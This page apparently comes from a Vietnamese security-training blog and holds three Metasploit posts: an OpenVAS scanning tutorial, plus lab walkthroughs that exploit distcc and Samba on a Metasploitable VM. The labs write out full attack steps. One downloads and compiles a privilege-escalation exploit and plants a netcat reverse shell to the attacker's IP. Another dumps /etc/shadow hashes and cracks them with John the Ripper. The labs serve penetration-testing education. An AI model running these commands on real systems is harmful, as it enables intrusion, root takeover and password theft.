Hiển thị các bài đăng có nhãn Metasploit. Hiển thị tất cả bài đăng
Hiển thị các bài đăng có nhãn Metasploit. Hiển thị tất cả bài đăng

Thứ Năm, 12 tháng 12, 2013

Vulnerability Scanning With Metasploit Part I

Metasploit Framework, the Metasploit Project’s best-known creation, is a software platform for developing, testing, and executing exploits. It can be used to create security testing tools and exploit modules and also as a penetration testing system. It was originally created as a portable network tool in 2003 by HD Moore. It is one of the most popular penetration testing tools among all security researchers and hackers. Apart from penetration testing, this tool also performs a very good vulnerability assessment in network and web applications. It has built-in plug-ins for some famous vulnerability scanners, such as Nessus, Nexpose, OpenVAS, and WMAP.
In this article, we are going to see how to perform vulnerability assessments of network and web applications by using Metasploit built-in plug-ins. First we will start with OpenVAS; before jumping into msfconsole, you have to install OpenVAS in your system. The installation process is given on BackTrack’s official website http://www.backtrack-linux.org/wiki/index.php/OpenVas. Just follow the steps. Now we are moving into our topic, how to perform a vulnerability assessment via OpenVAS.
To run OpenVAS, type in load openvas in msfconsole and it will load and open the VAS plug-in from its database.

Now type in openvas_help and it will show all usage commands for OpenVAS.


We have to connect our OpenVAS to its server by giving the command openvas_connect and it will show the full usage command, which is openvas_connect username password host port <ssl-confirm> for connecting to the server. In my case, the command is openvas_connect rohit toor localhost 9390 ok


As can we can see in the above figure, our OpenVAS connection is successful. Now we will create a target for scanning. The command for creating a target is openvas_target_create <scan name> <target IP> <any comments> . In the below figure, we can see my scan name is windows7 , the target is 192.168.0.101 and the comment is new_scan , so the command is openvas_target_create “windows7″ 192.168.0.101 “new_scan”
After creating the target, we want to see the OpenVAS’s scan configuration list, so type in openvas_config_list.
OpenVAS has four types of scan configuration; we will select this as per requirement. Next type in openvas_target_list and it will show your created targets.
Now we have a target and we have also seen the scan configuration, so we will create a task for scanning our target machine.
To create a task, the command is openvas_task_create <scanname> <comment> <scanconfig ID> <targetID>
For example, in the above figure, we type in openvas_task_create windows7 new_scan 3 1

We can see that our task is created and the task ID is 0 for our target machine. Now start the task by typing in openvas_task_start <taskID>. Here we are using openvas_task_start 0
As we can see, after giving the start command, our request is submitted, which means our scan should be starting now. Let us check by typing in open_vas_list and it shows that our scan status is running and progress is 1, meaning 1%.
Just wait for some time and again check the progress.
The progress is now 80%, which means it’s almost complete. When the scan is complete, the progress will show -1. and the status will show “Done.”
Want to learn more?? 
  • Most up-to-date proprietary courseware available
VIEW ETHICAL HACKING
Our scan is completed now, so we can download the report; type in openvas_report_list and it will show all reports from its database.
There are several formats for downloading the report. Type in openvas_format_list and it will list all available formats.
After choosing the format, we can download the report by using this command: openvas_report_download <report id> <format id> <path for saving report> <report name>. Here we are using openvas_report_download 1 5 /root/Desktop report

The OpenVAS has a bug in the report format: Whenever I tried to download PDF or XML formats, it gives blank report, so again I download the report in HTML format and this format is working

Thứ Tư, 20 tháng 11, 2013

Bài Thực Hành Metasploit Framework Lesson 8 : Exploiting the distcc daemon to obtain root

  1. Metasploitable 
  2. Pre-Requisite Lab
  3. What is distcc
    • distcc is designed to speed up compilation by taking advantage of unused processing power on other computers. A machine with distcc installed can send code to be compiled across the network to a computer which has the distccd daemon and a compatible compiler installed.
  4. Exploit CVE 2004-2687
    • distcc 2.x, as used in XCode 1.5 and others, when not configured to restrict access to the server port, allows remote attackers to execute arbitrary commands via compilation jobs, which are executed by the server without authorization checks.
    • http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2687
  5. Exploit CVE 2009-1185
  6. Lab Notes
    • In this lab we will do the following:
      1. Run an intense NMAP Scan on the Metasploitable VM
      2. Search for the distcc daemon
      3. Use Metasploit to exploit the distcc daemon
      4. Use exploit (http://www.exploit-db.com/download/8572) to escalate the privilege of the daemon user to root.
  7. Legal Disclaimer  : bài lab tham khảo.

Section 1. Start Up the Metasploitable VM
  1. Start Up VMWare Player
    • Instructions:
      1. Click the Start Button
      2. Type Vmplayer in the search box
      3. Click on Vmplayer
  2. Open a Virtual Machine
    • Instructions:
      1. Click on Open a Virtual Machine
  3. Open the Metasploitable VM
    • Instructions:
      1. Navigate to where the Metasploitable VM is located
      2. Click on on the Metasploitable VM
      3. Click on the Open Button
  4. Edit the Metasploitable VM
    • Instructions:
      1. Select Metasploitable2-Linux VM
      2. Click Edit virtual machine settings
  5. Edit the Metasploitable VM
    • Instructions:
      1. Click on "Network Adapter NAT"
      2. Select the radio button "Bridged: Connected directly to the physical network"
      3. Click on the OK button
    • Warning:
      • By changing from NAT to Bridged opens the VM and network up to potential attacks.
      • To maintain a safe network, you could (1) skip this section and only use the host-only network, (2) unplug your router from the internet, (3) use an ACL to not allow traffic into your network, etc.
  6. Play the Metasploitable VM
    • Instructions:
      1. Click on the Metasploitable VM
      2. Click on Play virtual machine

Section 2. Determine Metasploitable IP Address
  1. Logging into Metasploitable
    • Instructions
      1. Username: msfadmin
      2. Password: msfadmin or whatever you changed it to in lesson 1.
  2. Change the msfadmin password
    • Instructions:
      1. ifconfig -a
    • Note(FYI):
      • This is the IP Address of the Victim Machine.
      • My IP Address is 192.168.1.112.
      • Record your IP Address.

Section 4. Start Up the BackTrack5R1 VM
  1. Start Up VMWare Player
    • Instructions:
      1. Click the Start Button
      2. Type Vmplayer in the search box
      3. Click on Vmplayer
  2. Open a Virtual Machine
    • Instructions:
      1. Click on Open a Virtual Machine
  3. Open the BackTrack5R1 VM
    • Instructions:
      1. Navigate to where the BackTrack5R1 VM is located
      2. Click on on the BackTrack5R1 VM
      3. Click on the Open Button
  4. Edit the BackTrack5R1 VM
    • Instructions:
      1. Select BackTrack5R1 VM
      2. Click Edit virtual machine settings
  5. Edit Virtual Machine Settings
    • Instructions:
      1. Click on Network Adapter
      2. Click on the Bridged Radio button
      3. Click on the OK Button
  6. Play the BackTrack5R1 VM
    • Instructions:
      1. Click on the BackTrack5R1 VM
      2. Click on Play virtual machine
  7. Login to BackTrack
    • Instructions:
      1. Login: root
      2. Password: toor or <whatever you changed it to>.
  8. Bring up the GNOME
    • Instructions:
      1. Type startx
  9. Start up a terminal window
    • Instructions:
      1. Click on the Terminal Window
  10. Obtain the IP Address
    • Instructions:
      1. ifconfig -a
    • Note(FYI):
      • My IP address 192.168.1.108.
      • In your case, it will probably be different.
      • This is the machine that will be use to attack the victim machine (Metasploitable).

Section 5. Scanning the Victim with NMAP
  1. Run Intense NMAP Scan on the Metasploitable VM
    • Instructions:
      1. Obtain your Metasploitable IP address from (Section 2, Step 2)
      2. In the following step, replace 192.168.1.112 with your Metasploitable IP address.
      3. nmap -p 1-65535 -T4 -A -v 192.168.1.112 2>&1 | tee /var/tmp/scan.txt
    • Note(FYI):
      • This intense NMAP scan could take 3 to 5 minutes to run.
  2. Looking for distccd
    • Instructions:
      1. grep 3632 /var/tmp/scan.txt
    • Note(FYI):
      • distccd usually runs on port 3632.

Section 6. Attacking the Victim with Metasploit
  1. Start Up Metasploit msfconsole
    • Instructions:
      1. Applications --> Exploitation Tools --> Network Exploitation Tools --> Metasploit Framework --> msfconsole.
    • Note(FYI):
      • Metasploit takes about 5 to 20 seconds to start up.
  2. msfconsole screen
    • Note(FYI):
      • This is the msfconsole
      • Your picture (Rabbit, Cow, Graffit, Cyber Missle, etc) will probably be different than mine.
  3. Choose Metasploit Module
    • Instructions:
      1. search distcc
      2. use exploit/unix/misc/distcc_exec
    • Note(FYI):
      • This the name of the exploit that will be used to attack the DistCC Daemon Command.
  4. Choose Metasploit Payloads
    • Instructions:
      1. show payloads
      2. set payload cmd/unix/bind_ruby
    • Note(FYI):
      • A payload is the piece of software that lets you control a computer system after it�s been exploited. The payload is typically attached to and delivered by the exploit. Just imagine an exploit that carries the payload in its backpack when it breaks into the system and then leaves the backpack there.
  5. Show Metasploit Options
    • Note(FYI):
      • Replace 192.168.1.112 with the Metasploitable IP Address obtained from (Section 2, Step 2).
    • Instructions:
      1. show options
      2. set RHOST 192.168.112
  6. Metasploit Exploit to gain online access
    • Note(FYI):
      • Once the exploit command is executed, the following commands will actually be run on the Metasploitable VM: hostname, ifconfig eth0, and whoami.
    • Instructions:
      1. exploit
      2. hostname
      3. ifconfig eth0
      4. whoami
        • Notice the user is daemon.
  7. Download and Compile Privileged Escalation
    • Note(FYI):
      • Now we are going to download a privileged escalation exploit for distcc to escalate the privilege from user daemon to root.
    • Instructions:
      1. wget http://www.exploit-db.com/download/8572 -O exploit-8572.c
      2. gcc exploit-8572.c -o exploit-8572
      3. ls -l
  8. Create and Resize Terminal Windows
    • Note(FYI):
      • Now we are going to download a privileged escalation exploit for distcc to escalate the privilege from user daemon to root.
    • Instructions:
      1. Resize Previous Metasploit Terminal to consume the upper half of your screen.
      2. Click on the terminal icon to create a new window.
      3. Resize the newly created Terminal to consume the lower half of your screen.
  9. Create a Netcat Session
    • Note(FYI):
      • Now we are going to create a netcat session in the newly created terminal window listening on port 4444.
      • Netcat is a computer networking service for reading from and writing network connections using TCP or UDP.
      • Netcat is often referred to as a "Swiss-army knife for TCP/IP".
    • Instructions:
      1. netcat -vlp 4444
  10. Create a Netcat Session
    • Note(FYI):
      • The following commands will be placed in the upper terminal window.
      • In Step 10.2, replace 192.168.1.108 with BackTrack's IP address obtain in (Section 4, Step 10).
      • Remember to subtract 1 from the process ID (PID) number from Step 10.3
    • Instructions:
      1. echo '#!/bin/sh' > /tmp/run
      2. echo '/bin/netcat -e /bin/sh 192.168.1.108 4444' >> /tmp/run
      3. ps -eaf | grep udev | grep -v grep
      4. ./exploit-8572 2763
  11. Test the Privileged Escalation Exploit
    • Note(FYI):
      • The following commands will be placed in the lower terminal window.
      • Notice that the whoami command identifies you as the root user.
    • Instructions:
      1. whoami

Section 7. Basic System Network Forensics
  1. Become Root on the metasploitable VM
    • Note(FYI):
      • The following commands will be ran on the Metasploitable VM.
    • Instructions:
      1. sudo su -
      2. Supply your msfadmin password
  2. Piecing Together Network Connections and Process IDs
    • Note(FYI):
      • Pay attention to the below picture when grepping.
    • Instructions:
      1. netstat -naop | grep 4444
      2. ps -eaf | grep 7382 | grep -v grep
        • Use your PID associated with Ruby
      3. ps -eaf | grep 7624 | grep -v grep
        • Use your PID associated with sh.
      4. ps -eaf | grep 7623 | grep -v grep
        • Use the child PID contained in the sh grep results.
Section 8. Proof of Lab
  1. Proof of Lab
    • Note(FYI):
      • The following commands will be placed in the lower terminal window.
    • Proof of Lab Instructions
      1. date
      2. echo "Your Name"
        • Replace the string "Your Name" with your actual name.
        • e.g., echo "John Gray"
      3. Press the <Ctrl> and <Alt> key at the same time.
      4. Press the <PrtScn> key.
      5. Paste into a word document
      6. Upload to website Www.AnToanThongTin.Edu.Vn





  

Thứ Ba, 19 tháng 11, 2013

Bài Thực Hành Metasploit Framework Lesson 10 : Exploiting Samba, Obtain Hashes, John the Ripper

{ Exploiting Samba, Obtain Hashes, John the Ripper }

Section 0. Background Information
  1. Metasploitable 
  2. Pre-Requisite Lab
    • Metasploitable  : Lesson 1: Downloading and Configuring
  3. Exploit CVE 2007-2447
    • The MS-RPC functionality in smbd in Samba 3.0.0 through 3.0.25rc3 allows remote attackers to execute arbitrary commands via shell metacharacters involving the (1) SamrChangePassword function, when the "username map script" smb.conf option is enabled, and allows remote authenticated users to execute commands via shell metacharacters involving other MS-RPC functions in the (2) remote printer and (3) file share management.
    • The root cause is passing unfiltered user input provided via MS-RPC calls to /bin/sh when invoking externals scripts defined in smb.conf.
    • http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2447
  4. Other References
  5. Lab Notes
    • In this lab we will do the following:
      1. Run an intense NMAP Scan on the Metasploitable VM
      2. Search for the samba daemon
      3. Use Metasploit to exploit the samba daemon to obtain root
      4. Obtain the Hashes from the /etc/shadow file
      5. Use John the Ripper to break the Password Hashes
  6. Legal Disclaimer - Chỉ dùng trong môi trường học tập

Section 1. Start Up the Metasploitable VM
  1. Start Up VMWare Player
    • Instructions:
      1. Click the Start Button
      2. Type Vmplayer in the search box
      3. Click on Vmplayer
  2. Open a Virtual Machine
    • Instructions:
      1. Click on Open a Virtual Machine
  3. Open the Metasploitable VM
    • Instructions:
      1. Navigate to where the Metasploitable VM is located
      2. Click on on the Metasploitable VM
      3. Click on the Open Button
  4. Edit the Metasploitable VM
    • Instructions:
      1. Select Metasploitable2-Linux VM
      2. Click Edit virtual machine settings
  5. Edit the Metasploitable VM
    • Instructions:
      1. Click on "Network Adapter NAT"
      2. Select the radio button "Bridged: Connected directly to the physical network"
      3. Click on the OK button
    • Warning:
      • By changing from NAT to Bridged opens the VM and network up to potential attacks.
      • To maintain a safe network, you could (1) skip this section and only use the host-only network, (2) unplug your router from the internet, (3) use an ACL to not allow traffic into your network, etc.
  6. Play the Metasploitable VM
    • Instructions:
      1. Click on the Metasploitable VM
      2. Click on Play virtual machine

Section 2. Determine Metasploitable IP Address
  1. Logging into Metasploitable
    • Instructions
      1. Username: msfadmin
      2. Password: msfadmin or whatever you changed it to in lesson 1.
  2. Change the msfadmin password
    • Instructions:
      1. ifconfig -a
    • Note(FYI):
      • This is the IP Address of the Victim Machine.
      • My IP Address is 192.168.1.112.
      • Record your IP Address.

Section 4. Start Up the BackTrack5R1 VM
  1. Start Up VMWare Player
    • Instructions:
      1. Click the Start Button
      2. Type Vmplayer in the search box
      3. Click on Vmplayer
  2. Open a Virtual Machine
    • Instructions:
      1. Click on Open a Virtual Machine
  3. Open the BackTrack5R1 VM
    • Instructions:
      1. Navigate to where the BackTrack5R1 VM is located
      2. Click on on the BackTrack5R1 VM
      3. Click on the Open Button
  4. Edit the BackTrack5R1 VM
    • Instructions:
      1. Select BackTrack5R1 VM
      2. Click Edit virtual machine settings
  5. Edit Virtual Machine Settings
    • Instructions:
      1. Click on Network Adapter
      2. Click on the Bridged Radio button
      3. Click on the OK Button
  6. Play the BackTrack5R1 VM
    • Instructions:
      1. Click on the BackTrack5R1 VM
      2. Click on Play virtual machine
  7. Login to BackTrack
    • Instructions:
      1. Login: root
      2. Password: toor or <whatever you changed it to>.
  8. Bring up the GNOME
    • Instructions:
      1. Type startx
  9. Start up a terminal window
    • Instructions:
      1. Click on the Terminal Window
  10. Obtain the IP Address
    • Instructions:
      1. ifconfig -a
    • Note(FYI):
      • My IP address 192.168.1.108.
      • In your case, it will probably be different.
      • This is the machine that will be use to attack the victim machine (Metasploitable).

Section 5. Scanning the Victim with NMAP
  1. Run Intense NMAP Scan against the Metasploitable VM
    • Instructions:
      1. Obtain your Metasploitable IP address from (Section 2, Step 2)
      2. In the following step, replace 192.168.1.112 with your Metasploitable IP address.
      3. nmap -p 1-65535 -T4 -A -v 192.168.1.112 2>&1 | tee /var/tmp/scan.txt
    • Note(FYI):
      • The BackTrack VM will use NMAP to scan the Metasploitable VM.
      • This intense NMAP scan could take 3 to 5 minutes to run.
  2. Looking for distccd
    • Instructions:
      1. cd /var/tmp
      2. grep -i samba /var/tmp/scan.txt
    • Note(FYI):
      • Samba usually runs on ports 139 and 445.

Section 6. Attacking the Victim with Metasploit
  1. Start Up Metasploit msfconsole
    • Instructions:
      1. msfconsole
    • Note(FYI):
      • Metasploit takes about 5 to 20 seconds to start up.
  2. msfconsole screen
    • Note(FYI):
      • This is the msfconsole
      • Your picture (Rabbit, Cow, Graffit, Cyber Missle, etc) will probably be different than mine.
  3. Search for Metasploit Module
    • Instructions:
      1. search samba
      2. Highlight exploit/multi/samba/usermap_script
      3. Select Copy
  4. Set Metasploit Module
    • Instructions:
      1. use exploit/multi/samba/usermap_script
    • Note(FYI):
      • This the name of the exploit that will be used to attack Samba.
  5. Set the RHOST (a.k.a., Victim) IP Address
    • Note(FYI):
      • Replace 192.168.1.112 with the Metasploitable IP Address obtained from (Section 2, Step 2).
    • Instructions:
      1. show options
      2. set RHOST 192.168.1.112
      3. show options
  6. Exploit and Background Session
    • Instructions:
      1. exploit
      2. Press <Ctrl> and "z" at the same time
      3. Background session 1? [y/N] y
      4. Press <Enter>
      5. sessions -l
        • "l" as in larry

Section 7. Obtain /etc/shadow Hashes
  1. Obtain /etc/shadow Hashes
    • Note(FYI):
      • For step 7.1.2, see picture below when setting the SESSION variable.
    • Instructions:
      1. use post/linux/gather/hashdump
      2. show options
      3. set SESSION 1
      4. exploit
        • This will display the password hashes for each username.
      5. Highlight Unshadowed Password File (See Picture).
      6. Select Copy

Section 8. Using John the Ripper
  1. Start up another terminal window
    • Instructions:
      1. Click on the Terminal Window
  2. Running John the Ripper
    • Note(FYI):
      • For step 8.2.2, paste the file you copied from (Section 7, Step 1).
    • Instructions:
      1. cd /pentest/passwords/john/
      2. ./john /root/.msf4/loot/20130519223146_default_192.168.1.112_linux.hashes_533267.txt

Section 9. Proof of Lab
  1. Proof of Lab
    • Instructions
      1. cd /root/.msf4/loot
      2. ls -lrta
      3. date
      4. echo "Your Name"
        • Replace the string "Your Name" with your actual name.
        • e.g., echo "John Gray"
    • Proof of Lab Instructions
      1. Press the <Ctrl> and <Alt> key at the same time.
      2. Press the <PrtScn> key.
      3. Paste into a word document
      4. Upload to website Www.AnToanThongTin.Edu.VN